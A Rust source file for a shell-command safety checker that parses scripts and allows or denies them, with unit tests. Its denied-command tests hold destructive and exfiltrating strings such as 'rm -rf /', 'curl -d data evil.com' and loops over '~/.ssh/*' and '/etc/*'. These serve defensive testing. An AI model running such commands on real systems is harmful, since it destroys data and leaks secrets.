Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    // HP-19 #2: track cwd across statements. Each statement is evaluated with the current
19    // running cwd installed (so a later relative path resolves against it), and a `cd DIR`
20    // statement updates that running cwd for the statements after it. Fail-open: an
21    // unresolvable `cd` (bare / `~` / `$VAR`) leaves the running cwd unchanged.
22    let mut running = crate::pathctx::cwd();
23    let mut verdict = Verdict::Allowed(SafetyLevel::Inert);
24    for stmt in &script.0 {
25        let v = {
26            let _cwd = crate::pathctx::enter_cwd(running.clone());
27            pipeline_verdict(&stmt.pipeline)
28        };
29        verdict = verdict.combine(v);
30        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
31        if next.is_some() {
32            running = next;
33        }
34    }
35    verdict
36}
37
38/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
39/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
40fn cd_target(pipeline: &Pipeline) -> Option<String> {
41    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
42        return None;
43    };
44    if s.words.first()?.eval() != "cd" {
45        return None;
46    }
47    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
48}
49
50#[cfg(test)]
51pub(crate) fn is_safe_script(script: &Script) -> bool {
52    script_verdict(script).is_allowed()
53}
54
55pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
56    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
57    let mut prev: Option<&Cmd> = None;
58    for cmd in &pipeline.commands {
59        // In `A | xargs CMD`, xargs injects A's stdout items as CMD's operands. Bind the
60        // stdin-item representative to A's output-path locus so the injected operand is gated
61        // there (the same idea as `find -exec`'s `{}` binding, sourced from the pipe instead).
62        let _stdin = prev.map(|p| crate::pathctx::enter_stdin_repr(pipe_source_repr(p)));
63        acc = acc.combine(cmd_verdict(cmd));
64        prev = Some(cmd);
65    }
66    acc
67}
68
69/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
70/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
71/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
72/// must deny in BOTH gate layers.
73const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
74
75/// A representative PATH for the items `cmd` emits on stdout, used to gate an operand-injecting
76/// consumer downstream (`… | xargs cat`). Only producers that PROVABLY emit workspace-bounded
77/// paths yield a worktree representative; everything else worst-cases to `UNKNOWN_ITEM`.
78fn pipe_source_repr(cmd: &Cmd) -> String {
79    let Cmd::Simple(s) = cmd else {
80        return UNKNOWN_ITEM.to_string();
81    };
82    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
83    let Some(first) = words.first() else {
84        return UNKNOWN_ITEM.to_string();
85    };
86    let name = Token::from_raw(first.clone()).command_name().to_string();
87    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
88    match name.as_str() {
89        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
90        "find" | "fd" | "fdfind" => {
91            let roots = find_roots(&args);
92            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
93            format!("{}/sc_item", base.trim_end_matches('/'))
94        }
95        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
96        "ls" => {
97            if args.contains(&"-d") {
98                worst_arg_repr(&args)
99            } else {
100                "sc_item".to_string()
101            }
102        }
103        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
104        "echo" | "printf" => worst_arg_repr(&args),
105        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
106        "git" => match args.first() {
107            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
108            _ => UNKNOWN_ITEM.to_string(),
109        },
110        _ => UNKNOWN_ITEM.to_string(),
111    }
112}
113
114/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
115/// a granted dir), so paths derived from it are safe operands.
116fn source_ok(path: &str) -> bool {
117    crate::engine::resolve::read_content_verdict(path).is_allowed()
118}
119
120/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
121/// whose read is denied, else a worktree placeholder.
122fn worst_arg_repr(args: &[&str]) -> String {
123    args.iter()
124        .filter(|a| !a.starts_with('-'))
125        .find(|a| !source_ok(a))
126        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
127}
128
129/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
130/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
131fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
132    let mut i = 0;
133    while i < args.len() {
134        match args[i] {
135            "-H" | "-L" | "-P" => i += 1,
136            "-D" | "-O" => i += 2,
137            _ => break,
138        }
139    }
140    let mut roots = Vec::new();
141    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
142        roots.push(args[i]);
143        i += 1;
144    }
145    if roots.is_empty() {
146        roots.push(".");
147    }
148    roots
149}
150
151pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
152    pipeline_verdict(pipeline).is_allowed()
153}
154
155pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
156    match cmd {
157        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
158        _ => true,
159    }
160}
161
162fn has_any_substitution(cmd: &SimpleCmd) -> bool {
163    cmd.words.iter().any(has_substitution)
164        || cmd.env.iter().any(|(_, v)| has_substitution(v))
165}
166
167pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
168    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
169}
170
171pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
172    match cmd {
173        Cmd::Simple(s) => simple_verdict(s),
174        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
175            let body_v = script_verdict(body);
176            if let Verdict::Denied = body_v {
177                return Verdict::Denied;
178            }
179            let redir_v = redirect_verdict(redirs);
180            if let Verdict::Denied = redir_v {
181                return Verdict::Denied;
182            }
183            body_v.combine(redir_v)
184        }
185        Cmd::For { var, items, body, redirs } => {
186            let redir_v = redirect_verdict(redirs);
187            if let Verdict::Denied = redir_v {
188                return Verdict::Denied;
189            }
190            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
191            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
192            // fail-closing on the bare `$f`.
193            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
194            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
195                Some((read_repr, write_repr)) => {
196                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
197                    script_verdict(body)
198                }
199                None => script_verdict(body),
200            };
201            words_sub_verdict(items).combine(body_v).combine(redir_v)
202        }
203        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
204            let redir_v = redirect_verdict(redirs);
205            if let Verdict::Denied = redir_v {
206                return Verdict::Denied;
207            }
208            script_verdict(cond)
209                .combine(script_verdict(body))
210                .combine(redir_v)
211        }
212        Cmd::If {
213            branches,
214            else_body,
215            redirs,
216        } => {
217            let redir_v = redirect_verdict(redirs);
218            if let Verdict::Denied = redir_v {
219                return Verdict::Denied;
220            }
221            let mut v = redir_v;
222            for b in branches {
223                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
224            }
225            if let Some(eb) = else_body {
226                v = v.combine(script_verdict(eb));
227            }
228            v
229        }
230        Cmd::DoubleBracket { words, redirs } => {
231            words_sub_verdict(words).combine(redirect_verdict(redirs))
232        }
233    }
234}
235
236pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
237    cmd_verdict(cmd).is_allowed()
238}
239
240fn part_sub_verdict(part: &WordPart) -> Verdict {
241    match part {
242        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
243        WordPart::Backtick(raw) => command_verdict(raw),
244        WordPart::DQuote(inner) => word_sub_verdict(inner),
245        _ => Verdict::Allowed(SafetyLevel::Inert),
246    }
247}
248
249fn word_sub_verdict(word: &Word) -> Verdict {
250    word.0.iter()
251        .map(part_sub_verdict)
252        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
253}
254
255fn words_sub_verdict(words: &[Word]) -> Verdict {
256    words.iter()
257        .map(word_sub_verdict)
258        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
259}
260
261#[cfg(test)]
262pub(crate) fn word_subs_safe(word: &Word) -> bool {
263    word_sub_verdict(word).is_allowed()
264}
265
266fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
267    let redir_v = redirect_verdict(&cmd.redirs);
268    if let Verdict::Denied = redir_v {
269        return Verdict::Denied;
270    }
271
272    let env_sub_v = cmd.env.iter()
273        .map(|(_, v)| word_sub_verdict(v))
274        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
275    let word_sub_v = words_sub_verdict(&cmd.words);
276    let sub_v = env_sub_v.combine(word_sub_v);
277
278    if let Verdict::Denied = sub_v {
279        return Verdict::Denied;
280    }
281
282    if cmd.words.is_empty() {
283        if cmd.env.is_empty() {
284            return Verdict::Allowed(SafetyLevel::Inert);
285        }
286        return sub_v.combine(redir_v);
287    }
288
289    if cmd.words[0].eval() == "eval" {
290        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
291    }
292
293    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
294    // would run is classified — a braced word must not hide a system path from the gate.
295    let tokens: Vec<Token> =
296        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
297    if tokens.is_empty() {
298        return Verdict::Allowed(SafetyLevel::Inert);
299    }
300
301    let cmd_v = leaf_verdict(&tokens);
302    sub_v.combine(cmd_v).combine(redir_v)
303}
304
305/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
306/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
307/// no opt-out — the engine is the default and only path.
308fn leaf_verdict(tokens: &[Token]) -> Verdict {
309    let legacy = handlers::dispatch(tokens);
310    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
311}
312
313fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
314    if cmd.words.len() < 2 {
315        return Verdict::Denied;
316    }
317    for arg in &cmd.words[1..] {
318        if !arg_is_eval_safe(arg) {
319            return Verdict::Denied;
320        }
321    }
322    Verdict::Allowed(SafetyLevel::Inert)
323}
324
325fn arg_is_eval_safe(word: &Word) -> bool {
326    let mut found_safe = false;
327    for part in &word.0 {
328        match part {
329            WordPart::Lit(s) | WordPart::SQuote(s) => {
330                if !s.chars().all(char::is_whitespace) {
331                    return false;
332                }
333            }
334            WordPart::Escape(c) => {
335                if !c.is_whitespace() {
336                    return false;
337                }
338            }
339            WordPart::CmdSub(script) => {
340                if !script_yields_eval_safe(script) {
341                    return false;
342                }
343                found_safe = true;
344            }
345            WordPart::Backtick(raw) => {
346                let Some(script) = parse(raw) else {
347                    return false;
348                };
349                if !script_yields_eval_safe(&script) {
350                    return false;
351                }
352                found_safe = true;
353            }
354            WordPart::DQuote(inner) => {
355                if !arg_is_eval_safe(inner) {
356                    return false;
357                }
358                if has_substitution(inner) {
359                    found_safe = true;
360                }
361            }
362            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
363        }
364    }
365    found_safe
366}
367
368fn script_yields_eval_safe(script: &Script) -> bool {
369    if script.0.len() != 1 {
370        return false;
371    }
372    let stmt = &script.0[0];
373    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
374        return false;
375    }
376    let pipeline = &stmt.pipeline;
377    if pipeline.bang || pipeline.commands.len() != 1 {
378        return false;
379    }
380    let Cmd::Simple(s) = &pipeline.commands[0] else {
381        return false;
382    };
383    if !s.env.is_empty() {
384        return false;
385    }
386    // A redirect inside the substitution is allowed only if it's inert:
387    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
388    // A redirect that writes a real file is SafeWrite, not inert, so
389    // `mise activate bash > evil` is rejected — eval-safe must not gain a
390    // file-write side effect, and diverting stdout to a file is pointless here.
391    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
392        return false;
393    }
394    for w in &s.words {
395        if !word_is_plain_literal(w) {
396            return false;
397        }
398    }
399    let tokens: Vec<Token> =
400        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
401    if tokens.is_empty() {
402        return false;
403    }
404    crate::registry::is_eval_safe_invocation(&tokens)
405}
406
407/// True iff every character of `word` is drawn from the bare-literal
408/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
409/// matching this shape consist entirely of identifier-style or
410/// path-style tokens that the shell will pass through to the
411/// substituted command unchanged at runtime.
412///
413/// Required for words inside eval-safe substitutions because the
414/// "stdout is shell-init code" trust depends on the contributor having
415/// vetted what gets passed to the tool. Restricting the alphabet to
416/// chars with no shell-expansion semantics keeps the substituted
417/// invocation static across parse-time and runtime — what you see in
418/// the source is what the tool receives.
419fn word_is_plain_literal(word: &Word) -> bool {
420    word.0.iter().all(part_is_plain_literal)
421}
422
423fn part_is_plain_literal(part: &WordPart) -> bool {
424    match part {
425        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
426        WordPart::Escape(c) => is_bare_literal_char(*c),
427        WordPart::DQuote(inner) => word_is_plain_literal(inner),
428        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
429    }
430}
431
432/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
433/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
434/// and the long-flag value form (`=`). New chars require an explicit
435/// eval-safe use case — add by extending this match, never by
436/// excluding individual hostile chars.
437fn is_bare_literal_char(c: char) -> bool {
438    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
439}
440
441pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
442    redirs.iter().all(|r| match r {
443        Redir::Write { target, .. } => target.eval() == "/dev/null",
444        Redir::Read { .. }
445        | Redir::HereStr(_)
446        | Redir::HereDoc { .. }
447        | Redir::DupFd { .. } => true,
448    })
449}
450
451/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
452/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
453/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
454/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
455/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
456/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
457fn is_safe_write_target(path: &str) -> bool {
458    crate::engine::resolve::write_target_verdict(path).is_allowed()
459}
460
461pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
462    let mut level = Verdict::Allowed(SafetyLevel::Inert);
463    for r in redirs {
464        match r {
465            Redir::Write { target, .. } => {
466                level = level.combine(word_sub_verdict(target));
467                let t = target.eval();
468                if t == "/dev/null" {
469                    // Inert: no side effect, no promotion.
470                } else if is_safe_write_target(&t) {
471                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
472                } else {
473                    level = level.combine(Verdict::Denied);
474                }
475            }
476            Redir::Read { target, .. } => {
477                level = level.combine(word_sub_verdict(target));
478                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
479                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
480                // an unknowable file → fail-closed to Denied.
481                if has_substitution(target) {
482                    level = level.combine(Verdict::Denied);
483                } else {
484                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
485                }
486            }
487            Redir::HereStr(word) => {
488                level = level.combine(word_sub_verdict(word));
489            }
490            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
491        }
492    }
493    level
494}
495
496fn has_substitution(word: &Word) -> bool {
497    word.0.iter().any(|p| match p {
498        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
499        WordPart::DQuote(inner) => has_substitution(inner),
500        _ => false,
501    })
502}
503
504#[cfg(test)]
505mod tests {
506    use super::*;
507
508    fn check(cmd: &str) -> bool {
509        is_safe_command(cmd)
510    }
511
512    #[test]
513    fn loop_variable_inherits_the_list_locus() {
514        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
515        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
516        for cmd in [
517            "for f in *.txt; do cat $f; done",
518            "for f in *.txt; do rm $f; done",
519            "for f in src/*.rs; do grep foo $f; done",
520            "for f in *.log; do sed -i s/a/b/ $f; done",
521            "for f in a b c; do cat $f.bak; done",
522            "for x in 1 2 3; do rm $x; done",
523            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
524        ] {
525            assert!(check(cmd), "worktree loop should allow: {cmd}");
526        }
527        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
528        for cmd in [
529            "for f in /etc/*; do cat $f; done",
530            "for f in /etc/*.conf; do rm $f; done",
531            "for f in ~/.ssh/*; do cat $f; done",
532            "for f in $LIST; do rm $f; done",
533            "for f in $(find / -name x); do rm -rf $f; done",
534            "for d in /etc; do for f in $d/x; do cat $f; done; done",
535            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
536            // write-worst item is /etc/hosts — a single representative would be unsound.
537            "for f in /etc/hosts ~/notes; do cat $f; done",
538        ] {
539            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
540        }
541    }
542
543    safe! {
544        grep_foo: "grep foo file.txt",
545        jq_key: "jq '.key' file.json",
546        base64_d: "base64 -d",
547        ls_la: "ls -la",
548        wc_l: "wc -l file.txt",
549        ps_aux: "ps aux",
550        echo_hello: "echo hello",
551        cat_file: "cat file.txt",
552
553        version_go: "go --version",
554        version_cargo: "cargo --version",
555        version_cargo_redirect: "cargo --version 2>&1",
556        help_cargo: "cargo --help",
557        help_cargo_build: "cargo build --help",
558
559        dev_null_echo: "echo hello > /dev/null",
560        dev_null_stderr: "echo hello 2> /dev/null",
561        dev_null_append: "echo hello >> /dev/null",
562        dev_null_git_log: "git log > /dev/null 2>&1",
563        fd_redirect_ls: "ls 2>&1",
564        stdin_dev_null: "git log < /dev/null",
565
566        env_prefix: "FOO='bar baz' ls -la",
567        env_prefix_dq: "FOO=\"bar baz\" ls -la",
568        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
569
570        subst_echo_ls: "echo $(ls)",
571        subst_ls_pwd: "ls `pwd`",
572        subst_nested: "echo $(echo $(ls))",
573        subst_quoted: "echo \"$(ls)\"",
574        assign_subst_ls: "out=$(ls)",
575        assign_subst_git: "out=$(git status)",
576        assign_subst_multiple: "a=$(ls) b=$(pwd)",
577        assign_subst_backtick: "out=`ls`",
578
579        assign_bare_lit: "foo=bar",
580        assign_bare_int: "x=1",
581        assign_bare_empty: "x=",
582        assign_bare_dq: "x=\"foo bar\"",
583        assign_bare_sq: "x='foo bar'",
584        assign_bare_param: "rc=$?",
585        assign_bare_var: "x=$y",
586        assign_bare_dollar_var_braced: "x=${y}",
587        assign_bare_path: "PATH=/foo",
588        assign_bare_multiple: "a=1 b=2 c=3",
589        assign_bare_arith: "x=$((1 + 2))",
590        assign_in_for_body: "for i in 1 2; do x=1; done",
591        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
592        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
593        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
594        assign_then_use: "x=1; echo $x",
595        assign_chained_with_safe: "x=1 && ls",
596        assign_subshell: "(x=1)",
597        assign_in_subshell_with_cmd: "(x=1; ls)",
598
599        subshell_echo: "(echo hello)",
600        subshell_ls: "(ls)",
601        subshell_chain: "(ls && echo done)",
602        subshell_pipe: "(ls | grep foo)",
603        subshell_nested: "((echo hello))",
604        subshell_for: "(for x in 1 2; do echo $x; done)",
605
606        pipe_grep_head: "grep foo file.txt | head -5",
607        pipe_cat_sort_uniq: "cat file | sort | uniq",
608        chain_ls_echo: "ls && echo done",
609        semicolon_ls_echo: "ls; echo done",
610        bg_ls_echo: "ls & echo done",
611        newline_echo_echo: "echo foo\necho bar",
612
613        stdin_read_from_path: "wc -l < /tmp/foo.log",
614        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
615        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
616
617        here_string_grep: "grep -c , <<< 'hello,world,test'",
618        heredoc_cat: "cat <<EOF\nhello world\nEOF",
619        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
620        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
621        heredoc_no_content: "cat <<EOF",
622        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
623
624        for_echo: "for x in 1 2 3; do echo $x; done",
625        for_empty_body: "for x in 1 2 3; do; done",
626        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
627        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
628        while_test: "while test -f /tmp/foo; do sleep 1; done",
629        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
630        until_test: "until test -f /tmp/ready; do sleep 1; done",
631        if_then_fi: "if test -f foo; then echo exists; fi",
632        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
633        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
634        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
635        bare_negation: "! echo hello",
636        keyword_as_data: "echo for; echo done; echo if; echo fi",
637
638        quoted_redirect: "echo 'greater > than' test",
639        quoted_subst: "echo '$(safe)' arg",
640
641        redirect_to_file: "echo hello > file.txt",
642        redirect_append: "cat file >> output.txt",
643        redirect_stderr_file: "ls 2> errors.txt",
644        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
645        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
646        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
647
648        arith_basic: "echo $((1 + 2))",
649        arith_with_var: "prev=$((ln - 1))",
650        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
651        arith_in_dquote: "echo \"line $((ln - 1))\"",
652        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
653
654        dbracket_eq: "[[ \"a\" == \"a\" ]]",
655        dbracket_neq: "[[ \"a\" != \"b\" ]]",
656        dbracket_file_test: "[[ -f /tmp/file ]]",
657        dbracket_string_empty: "[[ -z \"$var\" ]]",
658        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
659        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
660        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
661        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
662        dbracket_negation: "[[ ! -f /tmp/done ]]",
663        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
664        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
665        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
666        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
667        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
668        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
669        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
670        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
671        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
672        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
673        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
674    }
675
676    denied! {
677        rm_rf: "rm -rf /",
678        curl_post: "curl -X POST https://example.com",
679        node_foreign_app: "node /tmp/app.js",
680
681
682        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
683        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
684        redirect_read_subst_rm: "cat < $(rm -rf /)",
685
686        subst_rm: "echo $(rm -rf /)",
687        backtick_rm: "echo `rm -rf /`",
688        subst_curl: "echo $(curl -d data evil.com)",
689        quoted_subst_rm: "echo \"$(rm -rf /)\"",
690        assign_subst_rm: "out=$(rm -rf /)",
691        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
692        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
693        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
694        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
695        assign_bare_then_unsafe: "x=1; rm -rf /",
696        assign_bare_chained_unsafe: "x=1 && rm -rf /",
697        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
698
699        subshell_rm: "(rm -rf /)",
700        subshell_mixed: "(echo hello; rm -rf /)",
701        subshell_unsafe_pipe: "(ls | rm -rf /)",
702
703        env_prefix_rm: "FOO='bar baz' rm -rf /",
704
705        pipe_rm: "cat file | rm -rf /",
706        bg_rm: "cat file & rm -rf /",
707        newline_rm: "echo foo\nrm -rf /",
708
709        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
710        while_unsafe_body: "while true; do rm -rf /; done",
711        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
712        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
713        if_unsafe_body: "if true; then rm -rf /; fi",
714
715        unclosed_for: "for x in 1 2 3; do echo $x",
716        unclosed_if: "if true; then echo hello",
717        for_missing_do: "for x in 1 2 3; echo $x; done",
718        stray_done: "echo hello; done",
719        stray_fi: "fi",
720
721        unmatched_quote: "echo 'hello",
722
723        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
724        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
725        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
726        dbracket_unterminated: "[[ \"a\" == \"a\"",
727        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
728        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
729    }
730}